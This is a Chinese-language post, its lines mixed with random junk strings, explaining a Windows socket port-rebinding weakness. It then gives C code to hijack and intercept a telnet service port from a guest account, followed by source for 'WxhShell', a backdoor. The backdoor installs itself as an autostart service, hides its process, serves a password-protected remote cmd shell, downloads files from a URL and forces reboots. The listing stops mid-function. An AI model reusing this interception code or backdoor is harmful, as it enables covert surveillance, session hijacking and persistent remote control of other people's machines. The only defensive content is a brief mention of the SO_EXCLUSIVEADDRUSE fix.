在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7,pn0,HI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
McXid~ IM^K]$q$47 saddr.sin_family = AF_INET;
A3;}C+K jTDaW8@L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Y NRorE
LKEf#mp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t+2!"Jr Vk#wJ- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F$!K/Mm[ 2G(RQ\Ro* 这意味着什么?意味着可以进行如下的攻击:
3BSJ|o<"= 7*a']W{aJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i6.HR?n 9"jhS0M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o'`:$
( ipIexv1/S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
BS6UXAf{|Z IpRdGT02 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R
_c!
,y NDmTxW#g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(B0tgg^jj, 5y1:oiE/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1pM"j! RTEzcJ> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
A<+veqb4 'JjW5 #include
GJ3@".+6 #include
p ow.@ #include
5*n3*rbU: #include
v&8%t 7| DWORD WINAPI ClientThread(LPVOID lpParam);
-9f>
rH\3 int main()
I'qIc? {
j3J\%7^i WORD wVersionRequested;
;;3oWsil} DWORD ret;
(;Ad:!9{ WSADATA wsaData;
)6k([u%;B BOOL val;
Ag6^>xb^ SOCKADDR_IN saddr;
E &wz0d;gf SOCKADDR_IN scaddr;
^J[r<Dm8F int err;
y\xa<!:g SOCKET s;
v Mi&0$ SOCKET sc;
qkLp8/G>pO int caddsize;
Avc9W[4 HANDLE mt;
\'BA}v
&/ DWORD tid;
"SV#e4C. wVersionRequested = MAKEWORD( 2, 2 );
zFq8xw err = WSAStartup( wVersionRequested, &wsaData );
Hl3%+f if ( err != 0 ) {
B9&$sTAB printf("error!WSAStartup failed!\n");
q0>@!1Wb return -1;
P>i!f!o*I }
%#zqZ|q saddr.sin_family = AF_INET;
D=0^"7K m"r=p //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"6<L)
8 4$wn8!x2| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3O'6 Ae saddr.sin_port = htons(23);
f\{ynC2m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3T|xUY)G4 {
5g$]ou printf("error!socket failed!\n");
k^Gf2%k return -1;
8}^R jMgI }
):c)$$dn val = TRUE;
9S y |:J0 //SO_REUSEADDR选项就是可以实现端口重绑定的
(sfy14>\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-!C9x?gNY {
V*C%r:5 ,v printf("error!setsockopt failed!\n");
}C<<l5/ z return -1;
zD9gE }
1h[xVvo<L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
SFiK_; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kw gsf5[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0?{Y6:d+ C=sEgtEI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
k,kr7'Q {
>p[skN ret=GetLastError();
lO>9Q]S< printf("error!bind failed!\n");
&Se!AcvKF return -1;
?4^8C4 }
^tFbg+. listen(s,2);
KbcmK(`_ while(1)
]m(C}} {
CH ojF+e caddsize = sizeof(scaddr);
eL` }j9 //接受连接请求
'T7=.Hq<4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[ljC S if(sc!=INVALID_SOCKET)
,?k~>,{3 {
0<n*8t?A- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wt(Hk6/B if(mt==NULL)
u5 1%~ {
qTA,rr#p0 printf("Thread Creat Failed!\n");
DA(ur'D break;
/ p PSo }
*wd@YMOP }
xaSg'8- CloseHandle(mt);
]((Ix,ggP }
_Z>I"m closesocket(s);
icw (y(W WSACleanup();
;
{ MK return 0;
WA$Ug }
m,"N4a@ DWORD WINAPI ClientThread(LPVOID lpParam)
tS@J)p+_( {
dh~ cj5 SOCKET ss = (SOCKET)lpParam;
B9[eLh! SOCKET sc;
0&@pD`K e unsigned char buf[4096];
l5*sCp*Z SOCKADDR_IN saddr;
6HK
dBW$/ long num;
Uh tk`2O DWORD val;
Jj:Bi&C DWORD ret;
K*]^0 //如果是隐藏端口应用的话,可以在此处加一些判断
Ne=o+ $.( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.GM}3(1fX` saddr.sin_family = AF_INET;
_x&fK$Y)B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
RaBq@r*( saddr.sin_port = htons(23);
9!kH:Az[p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$}TK,/W {
it\U+xu printf("error!socket failed!\n");
kYl')L6 return -1;
O5lP92], }
*Bj7\8cKC val = 100;
w9c^IS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
97]$*&fH {
{$ (X,E ret = GetLastError();
n-5@<y^ return -1;
rZt7C(FM$7 }
\(.])I>)eh if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@8jc|X<A {
IcDAl~uG ret = GetLastError();
="<S1}. return -1;
R'Y=-
yF }
2GB+st, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Vo; B#lK {
5Y W.s printf("error!socket connect failed!\n");
YO3$I!( closesocket(sc);
@TWt M# closesocket(ss);
[Dv6z t> return -1;
CL%+`c0 }
EK
JPeeRY while(1)
wRATe
0' {
$zR[2{bg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&AS<2hB //如果是嗅探内容的话,可以再此处进行内容分析和记录
ER)<Twj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P_Bhec|#fT num = recv(ss,buf,4096,0);
[&B}{6wry if(num>0)
-j<g}IG send(sc,buf,num,0);
vvDaL$ else if(num==0)
+I9+L6>UR break;
i,h) num = recv(sc,buf,4096,0);
$d +n},[C{ if(num>0)
,O;+fhUJ( send(ss,buf,num,0);
^UJ#YRzi else if(num==0)
.0eHP break;
cfg_xrW0^ }
+1]xmnts closesocket(ss);
~nSGN% closesocket(sc);
eT4+O5t return 0 ;
j. m(Z} }
, id`=L= \!_:<"nX. 7ql&UIeQ ==========================================================
Q~L"Mr8>V vA(')"DDT 下边附上一个代码,,WXhSHELL
<r1N6(n Z\)emps ==========================================================
jxt^d VHUOI64* #include "stdafx.h"
2|8&=K / 2S{IZ] #include <stdio.h>
sXmZ0Dv #include <string.h>
ju@5D
h #include <windows.h>
j$f `:A #include <winsock2.h>
[p%OIqC`pB #include <winsvc.h>
lZq`,E_L #include <urlmon.h>
>h+G$&8[y @6~OQN #pragma comment (lib, "Ws2_32.lib")
8r 4
L4 #pragma comment (lib, "urlmon.lib")
qZ8V/ /JOEnQ5X\! #define MAX_USER 100 // 最大客户端连接数
@Qa)@'u #define BUF_SOCK 200 // sock buffer
unUCn5hJ= #define KEY_BUFF 255 // 输入 buffer
2qY+-yOEt X` QfOs#\ #define REBOOT 0 // 重启
B 3Yj #define SHUTDOWN 1 // 关机
NUclF|G Ju~8C\Dd #define DEF_PORT 5000 // 监听端口
9m:qQ1[\ 3}}#'5D #define REG_LEN 16 // 注册表键长度
F%v?,`_&I #define SVC_LEN 80 // NT服务名长度
OFtAT@=O >;ucwLi // 从dll定义API
TN=MZ{L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
sT^^#$ub typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,uFdhA(i@' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nvyyV\w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2yFXX9!@ 4/rdr80 // wxhshell配置信息
wF`9}9q struct WSCFG {
zg3q\~ int ws_port; // 监听端口
KLc<c1BZ char ws_passstr[REG_LEN]; // 口令
P]pVYX#m int ws_autoins; // 安装标记, 1=yes 0=no
D-zqu~f` char ws_regname[REG_LEN]; // 注册表键名
otsINAizgS char ws_svcname[REG_LEN]; // 服务名
rdL>yT/A char ws_svcdisp[SVC_LEN]; // 服务显示名
`B^HW8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ux2pqPb char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gda3{g7<) int ws_downexe; // 下载执行标记, 1=yes 0=no
u/@dWeY[] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
aXSTA,% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
">? y\#OA -9 AI@^q };
T]5JsrT ye9-%~sjX // default Wxhshell configuration
$X %w9le struct WSCFG wscfg={DEF_PORT,
?\7" A "xuhuanlingzhe",
Jk.Ec)w 1,
xY/
S;dE "Wxhshell",
[y>;[K "Wxhshell",
tcg sXB/t "WxhShell Service",
0 w"&9+kV "Wrsky Windows CmdShell Service",
4YVxRZ1[3 "Please Input Your Password: ",
XG5mfKMt+ 1,
|!\(eLR9> "
http://www.wrsky.com/wxhshell.exe",
<*Kj7o{Qn "Wxhshell.exe"
wec|~Rc- };
UeVRd P2nb&lVdu // 消息定义模块
!2('Cq_^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*lN>RWbM% char *msg_ws_prompt="\n\r? for help\n\r#>";
&k5 Z|d| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>^@/Ba$h char *msg_ws_ext="\n\rExit.";
XK)qDg char *msg_ws_end="\n\rQuit.";
mn=G6h
T}W char *msg_ws_boot="\n\rReboot...";
(i,TxjS'od char *msg_ws_poff="\n\rShutdown...";
Jmln*,Ol7 char *msg_ws_down="\n\rSave to ";
h5bQ Xm7Nr# char *msg_ws_err="\n\rErr!";
HDyus5g
char *msg_ws_ok="\n\rOK!";
K4vl#*qn ~CQYF,[Th char ExeFile[MAX_PATH];
}5RCks;)* int nUser = 0;
(~r"N?` HANDLE handles[MAX_USER];
o3hsPzOQx int OsIsNt;
B6gSt3w. uC>X;<^ SERVICE_STATUS serviceStatus;
5]WpH0kzO SERVICE_STATUS_HANDLE hServiceStatusHandle;
^n|u$gIF8 _RFTm.9& // 函数声明
>
dJvl | int Install(void);
T(<C8 int Uninstall(void);
(R*K)(Nw[ int DownloadFile(char *sURL, SOCKET wsh);
F3\' WQh int Boot(int flag);
Tsez&R$k void HideProc(void);
CL*i,9:NR int GetOsVer(void);
+oY[uF int Wxhshell(SOCKET wsl);
C?bq7kD:H void TalkWithClient(void *cs);
+jFcq:`#UG int CmdShell(SOCKET sock);
9HlRf6S int StartFromService(void);
F*F
U[ 5 int StartWxhshell(LPSTR lpCmdLine);
a
X >bC- BzqM$F(
L, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sskwJu1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
(Ck|RojC 6xs_@Vk|d // 数据结构和表定义
/-wAy-W SERVICE_TABLE_ENTRY DispatchTable[] =
?hh4M {
g4WN+y` {wscfg.ws_svcname, NTServiceMain},
;zD1#dD {NULL, NULL}
A0SEzX({[ };
-.|V S|y C?e1 a9r // 自我安装
:XK.A
int Install(void)
nf5Ld"|%9 {
r00 fvZyK char svExeFile[MAX_PATH];
S
x';Cj- HKEY key;
#h@/~x r strcpy(svExeFile,ExeFile);
R 2uo ZA, Y!LcS48X // 如果是win9x系统,修改注册表设为自启动
d v@B-l; if(!OsIsNt) {
s[|sfqB1` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1&~u:RUXe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#Sj:U1x RegCloseKey(key);
ZqQJFyV* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a %"My;8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dnVl;L8L3 RegCloseKey(key);
@,D 3$P8} return 0;
K@P5]}'# }
)8ejT6r }
)miY>7K }
2T &<jt else {
`}ak;^Me 4tTK5`7N // 如果是NT以上系统,安装为系统服务
/sf:.TpVh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T|NNd1> if (schSCManager!=0)
9FT;?~, {
r5XG$:$8\ SC_HANDLE schService = CreateService
CwQgA%)!i (
d]0.6T1[K schSCManager,
e%w>QN` wscfg.ws_svcname,
-b"7WBl wscfg.ws_svcdisp,
yjODa90!G SERVICE_ALL_ACCESS,
7@u0;5p| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W is_N3M SERVICE_AUTO_START,
'v.i' 6 SERVICE_ERROR_NORMAL,
$9dm2#0d svExeFile,
D.H$4[u;j NULL,
wt4uzg8 NULL,
|;o#-YosP NULL,
#(C2KRRiA NULL,
*a* \E
R NULL
E%\j R );
5
T1M:~u i if (schService!=0)
Q}~of}h/ {
Z-`j)3Y CloseServiceHandle(schService);
JnCp'` CloseServiceHandle(schSCManager);
0[@9f1Nk4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c#M'Mye strcat(svExeFile,wscfg.ws_svcname);
$:kG>R@\t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\TSt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eOa:%{Kj RegCloseKey(key);
:B?XNo return 0;
U`_(Lq%5W }
mw9;LNi\D }
z5PFppSQ CloseServiceHandle(schSCManager);
GUJ[2/V~A }
K^bzZa+a }
E]` ) h%
BA,C return 1;
;hi+.ng_ }
jA R@?X hc}dS$=C // 自我卸载
DQM\Y{y|3 int Uninstall(void)
d:C- {
f>i6f@ HKEY key;
(SV(L~T_
*r Y6 if(!OsIsNt) {
(.a:jL$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@^oOXc,r$ RegDeleteValue(key,wscfg.ws_regname);
^~Nz8PCY RegCloseKey(key);
Z,/BPK<e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u1a5Vtel RegDeleteValue(key,wscfg.ws_regname);
rMIr&T RegCloseKey(key);
n.]K"$230 return 0;
2'_xg~ }
5 7e'a&}e }
uj|{TV>v9 }
8`Fo^c=j else {
WJBi#(SY BX&bhWYGFX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
09<O b[%h if (schSCManager!=0)
Ql sMMIax {
Dk4Jg++ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+HNY!fv9 if (schService!=0)
I#QBJ# {
<@xp. Y if(DeleteService(schService)!=0) {
;}{xpJ/ CloseServiceHandle(schService);
vR<Y1<j CloseServiceHandle(schSCManager);
I`kaAOe return 0;
7ET^,6 }
pASNiH698 CloseServiceHandle(schService);
,<*n>W4| }
@ROMHMd} CloseServiceHandle(schSCManager);
@0A7d
$J( }
@mBZu!, }
Ub=g<MYHV Cw]&B return 1;
/gT$ d2{ }
hXdc5 ?i? 'F3Xb // 从指定url下载文件
{aP5Mem int DownloadFile(char *sURL, SOCKET wsh)
DK 4 8 {
T{v(B["!$ HRESULT hr;
cmF&1o3_ char seps[]= "/";
o
%sBU char *token;
kx8\]' char *file;
}yZ9pTB.?E char myURL[MAX_PATH];
YG , char myFILE[MAX_PATH];
<RY5ZP pUx~ strcpy(myURL,sURL);
ocBfs^ aW token=strtok(myURL,seps);
S05+G}[$ while(token!=NULL)
BYuF$[3ya& {
4d3]L`
f file=token;
nsFOtOdd token=strtok(NULL,seps);
L
A-H }
YL\d2 U<J4\|1?7' GetCurrentDirectory(MAX_PATH,myFILE);
^6s< strcat(myFILE, "\\");
a5jc8S> strcat(myFILE, file);
NXsDn&&O send(wsh,myFILE,strlen(myFILE),0);
3jQy"9f send(wsh,"...",3,0);
Sc'z vlq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
: xI SS if(hr==S_OK)
}eh<F^ return 0;
7K3S\oPej else
-b+VzVJZ return 1;
Cmg(#$X x!GHUz*:uz }
(hej
3;W r'xZF~}k"~ // 系统电源模块
QPf*!E int Boot(int flag)
xo2PxUO {
WrH7tz HANDLE hToken;
4b]/2H TOKEN_PRIVILEGES tkp;
\U $'3M [:<CgU9C if(OsIsNt) {
KM$Lu2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/NfuR$oMd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}SYR)eE\ tkp.PrivilegeCount = 1;
/.r|ron:e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:U_k*9z}= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!_CBf#0 if(flag==REBOOT) {
3Ob"R%Yo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vI3L <[W return 0;
i"mN0% }
i[1K~yXq: else {
QcJ?1GwA" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0nUcUdIf+ return 0;
F#_JcEE }
U@21N3_@_ }
SyFw else {
yJ*`OU# if(flag==REBOOT) {
21'I-j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1!_$HA return 0;
[. Vy }
Z5iP1/&D else {
|O3wAxc3W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9jq}`$S{ return 0;
+bpUb0.W }
D/QSC]" }
&R+/Ie#0dz ;8\w$SPP return 1;
_b8&$\> }
^R- -&{I 6'CZfs\ // win9x进程隐藏模块
"SC }C void HideProc(void)
xR;>n[6 {
D^qto{! *R1m= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IcmTF #{D if ( hKernel != NULL )
AyHhq8Y {
eV:I ::: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MH@=Qqx#=t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<,!8xp7,~ FreeLibrary(hKernel);
r4&g~+ck }
pu#h:nb>88 Q@]~O- return;
_8x:%$ }
u#(VR]u\7
kI7c22OJ // 获取操作系统版本
kT6h}d^/^ int GetOsVer(void)
jb;!"HC {
`-@8IZ7 OSVERSIONINFO winfo;
-PX Rd)~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{*utke]}* GetVersionEx(&winfo);
n
N.6?a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
BUcPMF%\y: return 1;
vbEAd)*S else
)!SA]>- return 0;
'fpm] *ig }
Y'-@O"pK u5D@,wSNz // 客户端句柄模块
oz3N
8^M int Wxhshell(SOCKET wsl)
{wsO8LX {
,:6gp3 SOCKET wsh;
Jw13
Wb- struct sockaddr_in client;
[Q"*I2& DWORD myID;
%oPW`r m? 3! while(nUser<MAX_USER)
0u[Vd:()v( {
.*FBr7rE\ int nSize=sizeof(client);
6ub-NtVu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NGQBOV if(wsh==INVALID_SOCKET) return 1;
A|jmp~@K)+ P?|F+RoX$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|2RoDW if(handles[nUser]==0)
:
:;YS9e closesocket(wsh);
aumWU{j= else
oDz%K?29% nUser++;
K"Vo'9R[_ }
!O|d,)$q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
bloe|o! 2gP^+. return 0;
`^FAD }
VpmwN`
gbvM2 // 关闭 socket
_0HCtx ; void CloseIt(SOCKET wsh)
K]c|v
i_D {
scr`] tD closesocket(wsh);
pO]{Y?X: nUser--;
e!V3 /*F ExitThread(0);
HC1jN8WDY }
Ot,_=PP R=Qa54 // 客户端请求句柄
nsf.wHGZ"J void TalkWithClient(void *cs)
4pU|BL\j {
WFHS8SI ng,64(wOY SOCKET wsh=(SOCKET)cs;
.`w[A char pwd[SVC_LEN];
W`^euBr7R> char cmd[KEY_BUFF];
ad
<z+a char chr[1];
dU4 h int i,j;
9gWR djK:
Ltk'` while (nUser < MAX_USER) {
{B;<R1 tj ONN(K` if(wscfg.ws_passstr) {
3K)12x$.K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(29h{=P' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jV W .=FK //ZeroMemory(pwd,KEY_BUFF);
^wnlZ09J i=0;
%w9/gD while(i<SVC_LEN) {
Z"ce1cB k[_)5@2 // 设置超时
vI84=n fd_set FdRead;
W~" 'a9H/ struct timeval TimeOut;
gteG*p i FD_ZERO(&FdRead);
8]G FD_SET(wsh,&FdRead);
U2hPsF4f TimeOut.tv_sec=8;
#:q$sKQ_$ TimeOut.tv_usec=0;
FJI%+$] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wl^7.IR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m!'moumL; *U<l$gajq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$!?tJ@{ pwd
=chr[0]; 2il)@&^
if(chr[0]==0xd || chr[0]==0xa) { %R|_o<(#MJ
pwd=0; L>trLD1pt
break; l g0 'qH8
} F,hiKq*
i++; v8{ jEAK
} Wi;wu*
)Bz2-|\
// 如果是非法用户,关闭 socket /5**2Kgv1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DJWm7 t
} yW=I*f
M53{e;.kN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w(,K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9`a1xnL
Q4H(JD1f)
while(1) { h4iz(*
Y5dt/8Jo
ZeroMemory(cmd,KEY_BUFF); \OzPDN
,0pCc<
// 自动支持客户端 telnet标准 }q$6^y
j=0; OuZPgN
while(j<KEY_BUFF) { L- '{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l_q=@y
cmd[j]=chr[0]; &EUI
if(chr[0]==0xa || chr[0]==0xd) { d O})#50f
cmd[j]=0; 1QA{NAnu&
break; R>C^duos.
} <2.87:
j++; DqH?:`G
} d*B^pDf
-22]|$f
// 下载文件 eb#yCDIC
if(strstr(cmd,"http://")) { L2ybL#dz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nO\c4#ce
if(DownloadFile(cmd,wsh)) 6x.ZS'y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e=H,|)P
else 8h?):e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~dtS
} RV=Z$
else { uY_vX\;67z
nt:d,H<p
switch(cmd[0]) { @H83Ad
bb4 `s0
// 帮助 0[
BPmO6
case '?': {
t@#l0lu$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gs:V4$(p4
break; 4Ou5Vp&y
} QjIn0MJ)Xm
// 安装 o9XT_!Cwg
case 'i': { !
^ DQX=1
if(Install()) id?B<OM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>a/3a$g
else ~+)sL1lx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + g*s%^(E
break; <Pnz$nH:e
} Sb|9U8h
// 卸载 >WZ_) `R
case 'r': { 6OPYq*|
if(Uninstall()) vVyX[ZZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p"dK,A5#)
else 0XzrzT"&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O;6am++M@
break; qib4DT$v-6
} _!ITCkBj
// 显示 wxhshell 所在路径 W1!Nq`
case 'p': { u}0U!
char svExeFile[MAX_PATH]; |y%M";MI
strcpy(svExeFile,"\n\r"); #,5v#|u|7
strcat(svExeFile,ExeFile); |=rb#z&
send(wsh,svExeFile,strlen(svExeFile),0); n85d
g
break; JFOXrRR=d
} 2FxrjA
// 重启 -}G>{5.A
case 'b': { Vb++K0CK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +FBUB
if(Boot(REBOOT)) 5*hA6Ex7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/[wM>q:r
else { AdL>?SG%
closesocket(wsh); 4Q?3gA1
ExitThread(0); oD8X]R,
H
} .kqH}{hf
break; N]dsGvX
} %NH{%K,
// 关机 l\DcXgD
x
case 'd': { Q~-M B]'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RQ*oTsq
if(Boot(SHUTDOWN)) EG#mNpxE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A>Y#-e;<d
else { #\T5r*W
closesocket(wsh); T\OpPSYbl
ExitThread(0); p02E:?
} $gPR3*0
break; ',l}$]y5
} iebnQf
// 获取shell -RBH5+SS2
case 's': { vwIP8z~<
CmdShell(wsh); 9k*1_
closesocket(wsh); Mrly(*!U"@
ExitThread(0); sIz*r Gz
break; :YUQKy
} tg"NWp6
// 退出 G|+naZ
case 'x': { B4RP~^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /DxeG'O
CloseIt(wsh); ;a9`z+ K
break; ;NPbEPL[5
}
) k6O
// 离开 P^-daRb
case 'q': { #,jw! HO]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i7jI(VvB^
closesocket(wsh); "bmWr)
WSACleanup(); V6a+VfH
exit(1); 3cB=9Y{<
break; 1<E:`,Mn?
} UC*\3:>'n
} l}&&f8n
} zcCGREe=
oeA}b-Ct0
// 提示信息 Jf3xK"in
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <c_'(
}
SUaXm#9
} A[8vD</}_
i}e4P>ADD
return; sA:k8aj
} lr~c w#h*
?Vo/mtbY5X
// shell模块句柄 q6AL}9]9
int CmdShell(SOCKET sock) )Q)H!yin
{ bSm*/Q
STARTUPINFO si; Cp!Qd e
ZeroMemory(&si,sizeof(si)); JL:\\JT.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5hg
^K^ZZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wdLlQD
PROCESS_INFORMATION ProcessInfo; cIB[D.
char cmdline[]="cmd"; -esq]c%3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y8@TY?
return 0; gK",D^6T*Y
} f@aFs]xV
h$_5)d~
// 自身启动模式 6$x9@x8
int StartFromService(void) 5$<Ozkj(
{ g?>V4WF
typedef struct T@gm0igW/;
{ Q)%a2s;
DWORD ExitStatus; |N+uEiJ
DWORD PebBaseAddress; 353*D%8
DWORD AffinityMask; WX}pBmU
